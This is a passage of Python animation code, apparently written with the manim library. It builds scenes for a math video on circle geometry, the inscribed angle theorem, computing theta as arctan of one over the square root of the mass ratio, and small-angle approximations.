         FadeIn(arc),\n                FadeOut(last_arc),\n            )\n            self.wait()\n            last_point = new_point\n            last_arc = arc\n        self.play(\n            FadeOut(theta_group_copy),\n            FadeOut(two_theta_label),\n            FadeOut(last_arc),\n        )\n        self.wait()\n\n    def drop_arc_for_each_hop(self):\n        lines = self.lines\n        arcs = self.all_arcs\n\n        two_theta_labels = VGroup()\n        wedges = VGroup()\n        for arc in arcs:\n            label = TexMobject(\"2\\\\theta\")\n            label.scale(0.8)\n            label.move_to(1.1 * arc.point_from_proportion(0.5))\n            two_theta_labels.add(label)\n\n            wedge = arc.copy()\n            wedge.add_line_to(ORIGIN)\n            wedge.add_line_to(wedge.points[0])\n            wedge.set_stroke(width=0)\n            wedge.set_fill(arc.get_color(), 0.2)\n            wedges.add(wedge)\n\n        self.remove(lines)\n        for line, arc, label, wedge in zip(lines, arcs, two_theta_labels, wedges):\n            self.play(\n                ShowCreation(line),\n                FadeInFrom(arc, normalize(arc.get_center())),\n                FadeInFrom(label, normalize(arc.get_center())),\n                FadeIn(wedge),\n            )\n\n        self.wedges = wedges\n        self.two_theta_labels = two_theta_labels\n\n    def try_adding_one_more_arc(self):\n        wedges = self.wedges\n        theta = self.theta\n\n        last_wedge = wedges[-1]\n        new_wedge = last_wedge.copy()\n        new_wedge.set_color(PURPLE)\n        new_wedge.set_stroke(WHITE, 1)\n\n        self.play(FadeIn(new_wedge))\n        for angle in [-2 * theta, 4 * DEGREES, -2 * DEGREES]:\n            self.play(Rotate(new_wedge, angle, about_point=ORIGIN))\n            self.wait()\n        self.play(\n            new_wedge.shift, 10 * RIGHT,\n            rate_func=running_start,\n            path_arc=-30 * DEGREES,\n        )\n        self.remove(new_wedge)\n\n    def zoom_out(self):\n        frame = self.camera_frame\n        self.play(\n            frame.scale, 2, {\"about_point\": (TOP + RIGHT_SIDE)},\n            run_time=3\n        )\n        self.wait()\n\n    # Helpers\n    def get_axes_labels(self, axes):\n        axes_labels = VGroup(\n            TexMobject(\"x = \", \"\\\\sqrt{m_1}\", \"\\\\cdot\", \"v_1\"),\n            TexMobject(\"y = \", \"\\\\sqrt{m_2}\", \"\\\\cdot\", \"v_2\"),\n        )\n        for label in axes_labels:\n            label.set_height(0.4)\n        axes_labels[0].next_to(ORIGIN, DOWN, SMALL_BUFF)\n        axes_labels[0].to_edge(RIGHT, MED_SMALL_BUFF)\n        axes_labels[1].next_to(ORIGIN, RIGHT, SMALL_BUFF)\n        axes_labels[1].to_edge(UP, SMALL_BUFF)\n        return axes_labels\n\n\nclass InscribedAngleTheorem(Scene):\n    def construct(self):\n        self.add_title()\n        self.show_circle()\n        self.let_point_vary()\n\n    def add_title(self):\n        title = TextMobject(\"Inscribed angle theorem\")\n        title.scale(1.5)\n        title.to_edge(UP)\n        self.add(title)\n        self.title = title\n\n    def show_circle(self):\n        # Boy is this over engineered...\n        circle = self.circle = Circle(\n            color=BLUE,\n            radius=2,\n        )\n        center_dot = Dot(circle.get_center(), color=WHITE)\n        self.add(circle, center_dot)\n\n        angle_trackers = self.angle_trackers = VGroup(\n            ValueTracker(TAU / 4),\n            ValueTracker(PI),\n            ValueTracker(-TAU / 4),\n        )\n\n        def get_point(angle):\n            return circle.point_from_proportion(\n                (angle % TAU) / TAU\n            )\n\n        def get_dot(angle):\n            dot = Dot(get_point(angle))\n            dot.set_color(RED)\n            dot.set_stroke(BLACK, 3, background=True)\n            return dot\n\n        def get_dots():\n            return VGroup(*[\n                get_dot(at.get_value())\n                for at in angle_trackers\n            ])\n\n        def update_labels(labels):\n            center = circle.get_center()\n            for dot, label in zip(dots, labels):\n                label.move_to(\n                    center + 1.2 * (dot.get_center() - center)\n                )\n\n        def get_lines():\n            lines = VGroup(*[\n                Line(d1.get_center(), d2.get_center())\n                for d1, d2 in zip(dots, dots[1:])\n            ])\n            lines.set_stroke(WHITE, 3)\n            return lines\n\n        def get_center_lines():\n            points = [\n                dots[0].get_center(),\n                circle.get_center(),\n                dots[2].get_center(),\n            ]\n            lines = VGroup(*[\n                Line(p1, p2)\n                for p1, p2 in zip(points, points[1:])\n            ])\n            lines.set_stroke(LIGHT_GREY, 3)\n            return lines\n\n        def get_angle_label(lines, tex, reduce_angle=True):\n            a1 = (lines[0].get_angle() + PI) % TAU\n            a2 = lines[1].get_angle()\n            diff = (a2 - a1)\n            if reduce_angle:\n                diff = ((diff + PI) % TAU) - PI\n            point = lines[0].get_end()\n            arc = Arc(\n                start_angle=a1,\n                angle=diff,\n                radius=0.5,\n            )\n            arc.shift(point)\n            arc_center = arc.point_from_proportion(0.5)\n            label = TexMobject(tex)\n            vect = (arc_center - point)\n            vect = (0.3 + get_norm(vect)) * normalize(vect)\n            label.move_to(point + vect)\n            return VGroup(arc, label)\n\n        def get_theta_label():\n            return get_angle_label(lines, \"\\\\theta\")\n\n        def get_2theta_label():\n            return get_angle_label(center_lines, \"2\\\\theta\", False)\n\n        dots = get_dots()\n        lines = get_lines()\n        center_lines = get_center_lines()\n        labels = VGroup(*[\n            TexMobject(\"P_{}\".format(n + 1))\n            for n in range(3)\n        ])\n        update_labels(labels)\n        theta_label = get_theta_label()\n        two_theta_label = get_2theta_label()\n\n        self.play(\n            FadeInFromDown(labels[0]),\n            FadeInFromLarge(dots[0]),\n        )\n        self.play(\n            TransformFromCopy(*labels[:2]),\n            TransformFromCopy(*dots[:2]),\n            ShowCreation(lines[0]),\n        )\n        self.play(\n            ShowCreation(lines[1]),\n            TransformFromCopy(*labels[1:3]),\n            TransformFromCopy(*dots[1:3]),\n            Write(theta_label),\n        )\n        self.wait()\n\n        # Add updaters\n        labels.add_updater(update_labels)\n        dots.add_updater(lambda m: m.become(get_dots()))\n        lines.add_updater(lambda m: m.become(get_lines()))\n        center_lines.add_updater(lambda m: m.become(get_center_lines()))\n        theta_label.add_updater(lambda m: m.become(get_theta_label()))\n        two_theta_label.add_updater(lambda m: m.become(get_2theta_label()))\n\n        self.add(labels, lines, dots, theta_label)\n        # Further animations\n        self.play(\n            angle_trackers[0].set_value, TAU / 8,\n        )\n        self.play(\n            angle_trackers[2].set_value, -TAU / 8,\n        )\n        self.wait()\n        center_lines.update()\n        two_theta_label.update()\n        self.play(\n            TransformFromCopy(lines.copy().clear_updaters(), center_lines),\n            TransformFromCopy(theta_label.copy().clear_updaters(), two_theta_label),\n        )\n        self.wait()\n\n        self.add(center_lines, two_theta_label)\n\n    def let_point_vary(self):\n        p1_tracker, p2_tracker, p3_tracker = self.angle_trackers\n\n        kwargs = {\"run_time\": 2}\n        for angle in [TAU / 4, 3 * TAU / 4]:\n            self.play(\n                p2_tracker.set_value, angle,\n                **kwargs\n            )\n            self.wait()\n        self.play(\n            p1_tracker.set_value, PI,\n            **kwargs\n        )\n        self.wait()\n        self.play(\n            p3_tracker.set_value, TAU / 3,\n            **kwargs\n        )\n        self.wait()\n        self.play(\n            p2_tracker.set_value, 7 * TAU / 8,\n            **kwargs\n        )\n        self.wait()\n\n\nclass SimpleSlopeLabel(Scene):\n    def construct(self):\n        label = TexMobject(\n            \"\\\\text{Slope}\", \"=\",\n            \"-\\\\frac{\\\\sqrt{m_1}}{\\\\sqrt{m_2}}\"\n        )\n        vector = Vector(DOWN + 2 * LEFT, color=WHITE)\n        vector.move_to(label[0].get_bottom(), UR)\n        vector.shift(SMALL_BUFF * DOWN)\n        self.play(\n            Write(label),\n            GrowArrow(vector),\n        )\n        self.wait()\n\n\nclass AddTwoThetaManyTimes(Scene):\n    def construct(self):\n        expression = TexMobject(\n            \"2\\\\theta\", \"+\",\n            \"2\\\\theta\", \"+\",\n            \"2\\\\theta\", \"+\",\n            \"\\\\cdots\", \"+\",\n            \"2\\\\theta\",\n            \"<\", \"2\\\\pi\",\n        )\n        expression.to_corner(UL)\n\n        brace = Brace(expression[:-2], DOWN)\n        question = brace.get_text(\"Max number of times?\")\n        question.set_color(YELLOW)\n\n        central_question_group = self.get_central_question()\n        simplified, lil_brace, new_question = central_question_group\n        central_question_group.next_to(question, DOWN, LARGE_BUFF)\n        new_question.align_to(question, LEFT)\n\n        for n in range(5):\n            self.add(expression[:2 * n + 1])\n            self.wait(0.25)\n        self.play(\n            FadeInFrom(expression[-2:], LEFT),\n            GrowFromCenter(brace),\n            FadeInFrom(question, UP)\n        )\n        self.wait(3)\n        self.play(\n            TransformFromCopy(expression[:-2], simplified[:3]),\n            TransformFromCopy(expression[-2:], simplified[3:]),\n            TransformFromCopy(brace, lil_brace),\n        )\n        self.play(Write(new_question))\n        self.wait()\n\n        self.central_question_group = central_question_group\n        self.show_example()\n\n    def get_central_question(self, brace_vect=DOWN):\n        expression = TexMobject(\n            \"N\", \"\\\\cdot\", \"\\\\theta\", \"<\", \"\\\\pi\"\n        )\n        N = expression[0]\n        N.set_color(BLUE)\n        brace = Brace(N, brace_vect, buff=SMALL_BUFF)\n        question = brace.get_text(\n            \"Maximal integer?\",\n        )\n        question.set_color(YELLOW)\n        result = VGroup(expression, brace, question)\n        result.to_corner(UL)\n        return result\n\n    def show_example(self):\n        equation = self.get_changable_equation(0.01, n_decimal_places=2)\n        expression, brace, question = self.central_question_group\n        N_mob, dot_theta_eq, rhs, comp_pi = equation\n\n        equation.next_to(expression, DOWN, 2, aligned_edge=LEFT)\n\n        self.play(\n            TransformFromCopy(expression[0], N_mob),\n            TransformFromCopy(expression[1:4], dot_theta_eq),\n            TransformFromCopy(expression[4], rhs),\n            TransformFromCopy(expression[4], comp_pi),\n        )\n        self.wait()\n        self.play(\n            ChangeDecimalToValue(N_mob, 314, run_time=5)\n        )\n        self.wait()\n        self.play(ChangeDecimalToValue(N_mob, 315))\n        self.wait()\n        self.play(ChangeDecimalToValue(N_mob, 314))\n        self.wait()\n        self.play(ShowCreationThenFadeAround(N_mob))\n\n    #\n    def get_changable_equation(self, value, tex_string=None, n_decimal_places=10):\n        int_mob = Integer(1)\n        int_mob.set_color(BLUE)\n        formatter = \"({:0.\" + str(n_decimal_places) + \"f})\"\n        tex_string = tex_string or formatter.format(value)\n        tex_mob = TexMobject(\"\\\\cdot\", tex_string, \"=\")\n        rhs = DecimalNumber(value, num_decimal_places=n_decimal_places)\n\n        def align_number(mob):\n            y0 = mob[0].get_center()[1]\n            y1 = tex_mob[1][1:-1].get_center()[1]\n            mob.shift((y1 - y0) * UP)\n\n        int_mob.add_updater(\n            lambda m: m.next_to(tex_mob, LEFT, SMALL_BUFF)\n        )\n        int_mob.add_updater(align_number)\n        rhs.add_updater(\n            lambda m: m.set_value(value * int_mob.get_value())\n        )\n        rhs.add_updater(\n            lambda m: m.next_to(tex_mob, RIGHT, SMALL_BUFF)\n        )\n        rhs.add_updater(align_number)\n\n        def get_comp_pi():\n            if rhs.get_value() < np.pi:\n                result = TexMobject(\"< \\\\pi\")\n                result.set_color(GREEN)\n            elif rhs.get_value() > np.pi:\n                result = TexMobject(\"> \\\\pi\")\n                result.set_color(RED)\n            else:\n                result = TexMobject(\"= \\\\pi\")\n            result.next_to(rhs, RIGHT, 2 * SMALL_BUFF)\n            result[1].scale(1.5, about_edge=LEFT)\n            return result\n\n        comp_pi = always_redraw(get_comp_pi)\n\n        return VGroup(int_mob, tex_mob, rhs, comp_pi)\n\n\nclass AskAboutTheta(TeacherStudentsScene):\n    def construct(self):\n        self.student_says(\n            \"But what is $\\\\theta$?\",\n            target_mode=\"raise_left_hand\",\n        )\n        self.change_student_modes(\n            \"confused\", \"sassy\", \"raise_left_hand\",\n            added_anims=[self.teacher.change, \"happy\"]\n        )\n        self.wait(3)\n\n\nclass ComputeThetaFor1e4(AnalyzeCircleGeometry):\n    CONFIG = {\n        \"mass_ratio\": 100,\n    }\n\n    def construct(self):\n        self.add_mass_ratio_label()\n        self.add_circle_with_three_lines()\n        self.write_slope()\n        self.show_tangent()\n\n    def add_circle_with_three_lines(self):\n        circle = self.get_circle()\n        axes = self.get_axes()\n        slope = -np.sqrt(self.mass_ratio)\n        lines = self.get_lines(\n            radius=circle.radius,\n            slope=slope,\n        )\n        end_zone = self.get_end_zone()\n        axes_labels = self.get_axes_labels(axes)\n        axes.add(axes_labels)\n\n        lines_to_fade = VGroup(*lines[:11], *lines[13:])\n        two_lines = lines[11:13]\n\n        theta = self.theta = np.arctan(-1 / slope)\n        arc = Arc(\n            start_angle=(-90 * DEGREES),\n            angle=theta,\n            radius=2,\n            arc_center=two_lines[0].get_end(),\n        )\n        theta_label = TexMobject(\"\\\\theta\")\n        theta_label.scale(0.8)\n        theta_label.next_to(arc, DOWN, SMALL_BUFF)\n\n        self.add(end_zone, axes, circle)\n        self.play(ShowCreation(lines, rate_func=linear))\n        self.play(\n            lines_to_fade.set_stroke, WHITE, 1, 0.3,\n            ShowCreation(arc),\n            FadeInFrom(theta_label, UP)\n        )\n\n        self.two_lines = two_lines\n        self.lines = lines\n        self.circle = circle\n        self.axes = axes\n        self.theta_label_group = VGroup(theta_label, arc)\n\n    def write_slope(self):\n        line = self.two_lines[1]\n        slope_label = TexMobject(\n            \"\\\\text{Slope}\", \"=\",\n            \"\\\\frac{\\\\text{rise}}{\\\\text{run}}\", \"=\",\n            \"\\\\frac{-\\\\sqrt{m_1}}{\\\\sqrt{m_2}}\", \"=\", \"-10\"\n        )\n        for mob in slope_label:\n            mob.add_to_back(mob.copy().set_stroke(BLACK, 6))\n        slope_label.next_to(line.get_center(), UR, buff=1)\n        slope_arrow = Arrow(\n            slope_label[0].get_bottom(),\n            line.point_from_proportion(0.45),\n            color=RED,\n            buff=SMALL_BUFF,\n        )\n        new_line = line.copy().set_color(RED)\n\n        self.play(\n            FadeInFromDown(slope_label[:3]),\n            ShowCreation(new_line),\n            GrowArrow(slope_arrow),\n        )\n        self.remove(new_line)\n        line.match_style(new_line)\n        self.play(\n            FadeInFrom(slope_label[3:5], LEFT)\n        )\n        self.wait()\n        self.play(\n            Write(slope_label[5]),\n            TransformFromCopy(\n                self.mass_ratio_label[1][:3],\n                slope_label[6]\n            )\n        )\n        self.wait()\n\n        self.slope_label = slope_label\n        self.slope_arrow = slope_arrow\n\n    def show_tangent(self):\n        l1, l2 = self.two_lines\n        theta = self.theta\n        theta_label_group = self.theta_label_group\n\n        tan_equation = TexMobject(\n            \"\\\\tan\", \"(\", \"\\\\theta\", \")\", \"=\",\n            \"{\\\\text{run}\", \"\\\\over\", \"-\\\\text{rise}}\", \"=\",\n            \"\\\\frac{1}{10}\",\n        )\n        tan_equation.scale(0.9)\n        tan_equation.to_edge(LEFT, buff=MED_SMALL_BUFF)\n        tan_equation.shift(2 * UP)\n        run_word = tan_equation.get_part_by_tex(\"run\")\n        rise_word = tan_equation.get_part_by_tex(\"rise\")\n\n        p1, p2 = l1.get_start(), l1.get_end()\n        p3 = p1 + get_norm(p2 - p1) * np.tan(theta) * RIGHT\n        triangle = Polygon(p1, p2, p3)\n        triangle.set_stroke(width=0)\n        triangle.set_fill(GREEN, 0.5)\n\n        opposite = Line(p1, p3)\n        adjacent = Line(p1, p2)\n        opposite.set_stroke(BLUE, 3)\n        adjacent.set_stroke(PINK, 3)\n\n        arctan_equation = TexMobject(\n            \"\\\\theta\", \"=\", \"\\\\arctan\", \"(\", \"1 / 10\", \")\"\n        )\n        arctan_equation.next_to(tan_equation, DOWN, MED_LARGE_BUFF)\n\n        self.play(\n            FadeInFromDown(tan_equation[:8]),\n        )\n        self.play(\n            TransformFromCopy(theta_label_group[1], opposite),\n            run_word.set_color, opposite.get_color()\n        )\n        self.play(WiggleOutThenIn(run_word))\n        self.play(\n            TransformFromCopy(opposite, adjacent),\n            rise_word.set_color, adjacent.get_color()\n        )\n        self.play(WiggleOutThenIn(rise_word))\n        self.wait()\n        self.play(TransformFromCopy(\n            self.slope_label[-1],\n            tan_equation[-2:],\n        ))\n        self.wait(2)\n\n        indices = [2, 4, 0, 1, -1, 3]\n        movers = VGroup(*[tan_equation[i] for i in indices]).copy()\n        for mover, target in zip(movers, arctan_equation):\n            mover.target = target\n        # Swap last two\n        sm = movers.submobjects\n        sm[-1], sm[-2] = sm[-2], sm[-1]\n        self.play(LaggedStartMap(\n            Transform, movers[:-1],\n            lambda m: (m, m.target),\n            lag_ratio=1,\n            run_time=1,\n            path_arc=PI / 6,\n        ))\n        self.play(MoveToTarget(movers[-1]))\n        self.remove(movers)\n        self.add(arctan_equation)\n        self.play(ShowCreationThenFadeAround(arctan_equation))\n        self.wait()\n\n\nclass ThetaChart(Scene):\n    def construct(self):\n        self.create_columns()\n        self.populate_columns()\n        self.show_values()\n        self.highlight_example(2)\n        self.highlight_example(3)\n\n    def create_columns(self):\n        titles = VGroup(*[\n            TextMobject(\"Mass ratio\"),\n            TextMobject(\"$\\\\theta$ formula\"),\n            TextMobject(\"$\\\\theta$ value\"),\n        ])\n        titles.scale(1.5)\n        titles.arrange(RIGHT, buff=1.5)\n        titles[1].shift(MED_SMALL_BUFF * LEFT)\n        titles[2].shift(MED_SMALL_BUFF * RIGHT)\n        titles.to_corner(UL)\n\n        lines = VGroup()\n        for t1, t2 in zip(titles, titles[1:]):\n            line = Line(TOP, BOTTOM)\n            x = np.mean([t1.get_center()[0], t2.get_center()[0]])\n            line.shift(x * RIGHT)\n            lines.add(line)\n\n        h_line = Line(LEFT_SIDE, RIGHT_SIDE)\n        h_line.next_to(titles, DOWN)\n        h_line.to_edge(LEFT, buff=0)\n        lines.add(h_line)\n        lines.set_stroke(WHITE, 1)\n\n        self.play(\n            LaggedStartMap(FadeInFromDown, titles),\n            LaggedStartMap(ShowCreation, lines, lag_ratio=0.8),\n        )\n\n        self.h_line = h_line\n        self.titles = titles\n\n    def populate_columns(self):\n        top_h_line = self.h_line\n        x_vals = [t.get_center()[0] for t in self.titles]\n\n        entries = [\n            (\n                \"$m_1$ : $m_2$\",\n                \"$\\\\arctan(\\\\sqrt{m_2} / \\\\sqrt{m_1})$\",\n                \"\"\n            )\n        ] + [\n            (\n                \"{:,} : 1\".format(10**(2 * exp)),\n                \"$\\\\arctan(1 / {:,})$\".format(10**exp),\n                self.get_theta_decimal(exp),\n            )\n            for exp in [1, 2, 3, 4, 5]\n        ]\n\n        h_lines = VGroup(top_h_line)\n        entry_mobs = VGroup()\n        for entry in entries:\n            mobs = VGroup(*map(TextMobject, entry))\n            for mob, x in zip(mobs, x_vals):\n                mob.shift(x * RIGHT)\n            delta_y = (mobs.get_height() / 2) + MED_SMALL_BUFF\n            y = h_lines[-1].get_center()[1] - delta_y\n            mobs.shift(y * UP)\n            mobs[0].set_color(BLUE)\n            mobs[2].set_color(YELLOW)\n            entry_mobs.add(mobs)\n\n            h_line = DashedLine(LEFT_SIDE, RIGHT_SIDE)\n            h_line.shift((y - delta_y) * UP)\n            h_lines.add(h_line)\n\n        self.play(\n            LaggedStartMap(\n                FadeInFromDown,\n                VGroup(*[em[:2] for em in entry_mobs]),\n            ),\n            LaggedStartMap(ShowCreation, h_lines[1:]),\n            lag_ratio=0.1,\n            run_time=5,\n        )\n\n        self.entry_mobs = entry_mobs\n        self.h_lines = h_lines\n\n    def show_values(self):\n        values = VGroup(*[em[2] for em in self.entry_mobs])\n        for value in values:\n            self.play(LaggedStartMap(\n                FadeIn, value,\n                lag_ratio=0.1,\n                run_time=0.5\n            ))\n            self.wait(0.5)\n\n    def highlight_example(self, exp):\n        entry_mobs = self.entry_mobs\n        example = entry_mobs[exp]\n        other_entries = VGroup(*entry_mobs[:exp], *entry_mobs[exp + 1:])\n\n        value = example[-1]\n        rhs = TexMobject(\"\\\\approx {:}\".format(10**(-exp)))\n        rhs.next_to(value, RIGHT)\n        rhs.to_edge(RIGHT, buff=MED_SMALL_BUFF)\n        value.generate_target()\n        value.target.set_fill(opacity=1)\n        value.target.scale(0.9)\n        value.target.next_to(rhs, LEFT, SMALL_BUFF)\n\n        self.play(\n            other_entries.set_fill, {\"opacity\": 0.25},\n            example.set_fill, {\"opacity\": 1},\n            ShowCreationThenFadeAround(example)\n        )\n        self.wait()\n        self.play(\n            MoveToTarget(value),\n            Write(rhs),\n        )\n        self.wait()\n        value.add(rhs)\n\n    def get_theta_decimal(self, exp):\n        theta = np.arctan(10**(-exp))\n        rounded_theta = np.floor(1e10 * theta) / 1e10\n        return \"{:0.10f}\\\\dots\".format(rounded_theta)\n\n\nclass CentralQuestionFor1e2(AddTwoThetaManyTimes):\n    CONFIG = {\n        \"exp\": 2,\n    }\n\n    def construct(self):\n        exp = self.exp\n        question = self.get_central_question(UP)\n        pi_value = TexMobject(\" = {:0.10f}\\\\dots\".format(PI))\n        pi_value.next_to(question[0][-1], RIGHT, SMALL_BUFF)\n        pi_value.shift(0.3 * SMALL_BUFF * UP)\n        question.add(pi_value)\n\n        max_count = int(PI * 10**exp)\n\n        question.center().to_edge(UP)\n        self.add(question)\n\n        b10_equation = self.get_changable_equation(\n            10**(-exp), n_decimal_places=exp\n        )\n        b10_equation.next_to(question, DOWN, buff=1.5)\n        arctan_equation = self.get_changable_equation(\n            np.arctan(10**(-exp)), n_decimal_places=10,\n        )\n        arctan_equation.next_to(b10_equation, DOWN, MED_LARGE_BUFF)\n        eq_centers = [\n            eq[1][2].get_center()\n            for eq in [b10_equation, arctan_equation]\n        ]\n        arctan_equation.shift((eq_centers[1][0] - eq_centers[1][0]) * RIGHT)\n\n        # b10_brace = Brace(b10_equation[1][1][1:-1], UP)\n        arctan_brace = Brace(arctan_equation[1][1][1:-1], DOWN)\n        # b10_tex = b10_brace.get_tex(\"1 / 10\")\n        arctan_tex = arctan_brace.get_tex(\n            \"\\\\theta = \\\\arctan(1 / {:,})\".format(10**exp)\n        )\n\n        int_mobs = b10_equation[0], arctan_equation[0]\n\n        self.add(*b10_equation, *arctan_equation)\n        # self.add(b10_brace, b10_tex)\n        self.add(arctan_brace, arctan_tex)\n\n        self.wait()\n        self.play(*[\n            ChangeDecimalToValue(int_mob, max_count, run_time=8)\n            for int_mob in int_mobs\n        ])\n        self.wait()\n        self.play(*[\n            ChangeDecimalToValue(int_mob, max_count + 1, run_time=1)\n            for int_mob in int_mobs\n        ])\n        self.wait()\n        self.play(*[\n            ChangeDecimalToValue(int_mob, max_count, run_time=1)\n            for int_mob in int_mobs\n        ])\n        self.play(ShowCreationThenFadeAround(int_mobs[1]))\n        self.wait()\n\n\nclass AnalyzeCircleGeometry1e2(AnalyzeCircleGeometry):\n    CONFIG = {\n        \"mass_ratio\": 100,\n    }\n\n\nclass CentralQuestionFor1e3(CentralQuestionFor1e2):\n    CONFIG = {\"exp\": 3}\n\n\nclass AskAboutArctanOfSmallValues(TeacherStudentsScene):\n    def construct(self):\n        self.add_title()\n\n        equation1 = TexMobject(\n            \"\\\\arctan\", \"(\", \"x\", \")\", \"\\\\approx\", \"x\"\n        )\n        equation1.set_color_by_tex(\"arctan\", YELLOW)\n        equation2 = TexMobject(\n            \"x\", \"\\\\approx\", \"\\\\tan\", \"(\", \"x\", \")\",\n        )\n        equation2.set_color_by_tex(\"tan\", BLUE)\n        for mob in equation1, equation2:\n            mob.move_to(self.hold_up_spot, DOWN)\n\n        self.play(\n            FadeInFromDown(equation1),\n            self.teacher.change, \"raise_right_hand\",\n            self.get_student_changes(\n                \"erm\", \"sassy\", \"confused\"\n            )\n        )\n        self.look_at(3 * UL)\n        self.play(equation1.shift, UP)\n        self.play(\n            TransformFromCopy(\n                VGroup(*[equation1[i] for i in (2, 4, 5)]),\n                VGroup(*[equation2[i] for i in (0, 1, 4)]),\n            )\n        )\n        self.play(\n            TransformFromCopy(\n                VGroup(*[equation1[i] for i in (0, 1, 3)]),\n                VGroup(*[equation2[i] for i in (2, 3, 5)]),\n            ),\n            self.get_student_changes(\n                \"confused\", \"erm\", \"sassy\",\n            ),\n        )\n        self.look_at(3 * UL)\n        self.wait(3)\n        # self.student_says(\"Why?\", target_mode=\"maybe\")\n        # self.wait(3)\n\n    def add_title(self):\n        title = TextMobject(\"For small $x$\")\n        subtitle = TextMobject(\"(e.g. $x = 0.001$)\")\n        subtitle.scale(0.75)\n        subtitle.next_to(title, DOWN)\n        title.add(subtitle)\n        # title.scale(1.5)\n        # title.to_edge(UP, buff=MED_SMALL_BUFF)\n        title.move_to(self.hold_up_spot)\n        title.to_edge(UP)\n        self.add(title)\n\n\nclass ActanAndTanGraphs(GraphScene):\n    CONFIG = {\n        \"x_min\": -PI / 8,\n        \"x_max\": 5 * PI / 8,\n        \"y_min\": -PI / 8,\n        \"y_max\": 4 * PI / 8,\n        \"x_tick_frequency\": PI / 8,\n        \"x_leftmost_tick\": -PI / 8,\n        \"y_tick_frequency\": PI / 8,\n        \"y_leftmost_tick\": -PI / 8,\n        \"x_axis_width\": 10,\n        \"y_axis_height\": 7,\n        \"graph_origin\": 2.5 * DOWN + 5 * LEFT,\n        \"num_graph_anchor_points\": 500,\n    }\n\n    def construct(self):\n        self.setup_axes()\n        axes = self.axes\n        labels = VGroup(\n            TexMobject(\"\\\\pi / 8\"),\n            TexMobject(\"\\\\pi / 4\"),\n            TexMobject(\"3\\\\pi / 8\"),\n            TexMobject(\"\\\\pi / 2\"),\n        )\n        for n, label in zip(it.count(1), labels):\n            label.scale(0.75)\n            label.next_to(self.coords_to_point(n * PI / 8, 0), DOWN)\n            self.add(label)\n\n        id_graph = self.get_graph(lambda x: x, x_max=1.5)\n        arctan_graph = self.get_graph(np.arctan, x_max=1.5)\n        tan_graph = self.get_graph(np.tan, x_max=1.5)\n        graphs = VGroup(id_graph, arctan_graph, tan_graph)\n\n        id_label = TexMobject(\"f(x) = x\")\n        arctan_label = TexMobject(\"\\\\arctan(x)\")\n        tan_label = TexMobject(\"\\\\tan(x)\")\n        labels = VGroup(id_label, arctan_label, tan_label)\n        for label, graph in zip(labels, graphs):\n            label.match_color(graph)\n            label.next_to(graph.points[-1], RIGHT)\n            if label.get_bottom()[1] > FRAME_HEIGHT / 2:\n                label.next_to(graph.point_from_proportion(0.75), LEFT)\n\n        arctan_x_tracker = ValueTracker(3 * PI / 8)\n        arctan_v_line = always_redraw(\n            lambda: self.get_vertical_line_to_graph(\n                arctan_x_tracker.get_value(),\n                arctan_graph,\n                line_class=DashedLine,\n                color=WHITE,\n            )\n        )\n        tan_x_tracker = ValueTracker(2 * PI / 8)\n        tan_v_line = always_redraw(\n            lambda: self.get_vertical_line_to_graph(\n                tan_x_tracker.get_value(),\n                tan_graph,\n                line_class=DashedLine,\n                color=WHITE,\n            )\n        )\n\n        self.add(axes)\n        self.play(\n            ShowCreation(id_graph),\n            Write(id_label)\n        )\n        self.play(\n            ShowCreation(arctan_graph),\n            Write(arctan_label)\n        )\n        self.add(arctan_v_line)\n        self.play(arctan_x_tracker.set_value, 0, run_time=2)\n        self.wait()\n        self.play(\n            TransformFromCopy(arctan_graph, tan_graph),\n            TransformFromCopy(arctan_label, tan_label),\n        )\n        self.add(tan_v_line)\n        self.play(tan_x_tracker.set_value, 0, run_time=2)\n        self.wait()\n\n\nclass UnitCircleIntuition(Scene):\n    def construct(self):\n        self.draw_unit_circle()\n        self.show_angle()\n        self.show_fraction()\n        self.show_fraction_approximation()\n\n    def draw_unit_circle(self):\n        unit_size = 2.5\n        axes = Axes(\n            axis_config={\"unit_size\": unit_size},\n            x_min=-2.5, x_max=2.5,\n            y_min=-1.5, y_max=1.5,\n        )\n        axes.set_stroke(width=1)\n        self.add(axes)\n\n        radius_line = Line(ORIGIN, axes.coords_to_point(1, 0))\n        radius_line.set_color(BLUE)\n        r_label = TexMobject(\"1\")\n        r_label.add_updater(\n            lambda m: m.next_to(radius_line.get_center(), DOWN, SMALL_BUFF)\n        )\n        circle = Circle(radius=unit_size, color=WHITE)\n\n        self.add(radius_line, r_label)\n        self.play(\n            Rotating(radius_line, about_point=ORIGIN),\n            ShowCreation(circle),\n            run_time=2,\n            rate_func=smooth,\n        )\n\n        self.radius_line = radius_line\n        self.r_label = r_label\n        self.circle = circle\n        self.axes = axes\n\n    def show_angle(self):\n        circle = self.circle\n\n        tan_eq = TexMobject(\n            \"\\\\tan\", \"(\", \"\\\\theta\", \")\", \"=\",\n            tex_to_color_map={\"\\\\theta\": RED},\n        )\n        tan_eq.next_to(ORIGIN, RIGHT, LARGE_BUFF)\n        tan_eq.to_edge(UP, buff=LARGE_BUFF)\n\n        theta_tracker = ValueTracker(0)\n        get_theta = theta_tracker.get_value\n\n        def get_r_line():\n            return Line(\n                circle.get_center(),\n                circle.point_at_angle(get_theta())\n            )\n        r_line = always_redraw(get_r_line)\n\n        def get_arc(radius=None, **kwargs):\n            if radius is None:\n                alpha = inverse_interpolate(0, 20 * DEGREES, get_theta())\n                radius = interpolate(2, 1, alpha)\n            return Arc(\n                radius=radius,\n                start_angle=0,\n                angle=get_theta(),\n                arc_center=circle.get_center(),\n                **kwargs\n            )\n        arc = always_redraw(get_arc)\n        self.circle_arc = always_redraw(\n            lambda: get_arc(radius=circle.radius, color=RED)\n        )\n\n        def get_theta_label():\n            label = TexMobject(\"\\\\theta\")\n            label.set_height(min(arc.get_height(), 0.3))\n            label.set_color(RED)\n            center = circle.get_center()\n            vect = arc.point_from_proportion(0.5) - center\n            vect = (get_norm(vect) + 2 * SMALL_BUFF) * normalize(vect)\n            label.move_to(center + vect)\n            return label\n        theta_label = always_redraw(get_theta_label)\n\n        def get_height_line():\n            p2 = circle.point_at_angle(get_theta())\n            p1 = np.array(p2)\n            p1[1] = circle.get_center()[1]\n            return Line(\n                p1, p2,\n                stroke_color=YELLOW,\n                stroke_width=3,\n            )\n        self.height_line = always_redraw(get_height_line)\n\n        def get_width_line():\n            p2 = circle.get_center()\n            p1 = circle.point_at_angle(get_theta())\n            p1[1] = p2[1]\n            return Line(\n                p1, p2,\n                stroke_color=PINK,\n                stroke_width=3,\n            )\n        self.width_line = always_redraw(get_width_line)\n\n        def get_h_label():\n            label = TexMobject(\"h\")\n            height_line = self.height_line\n            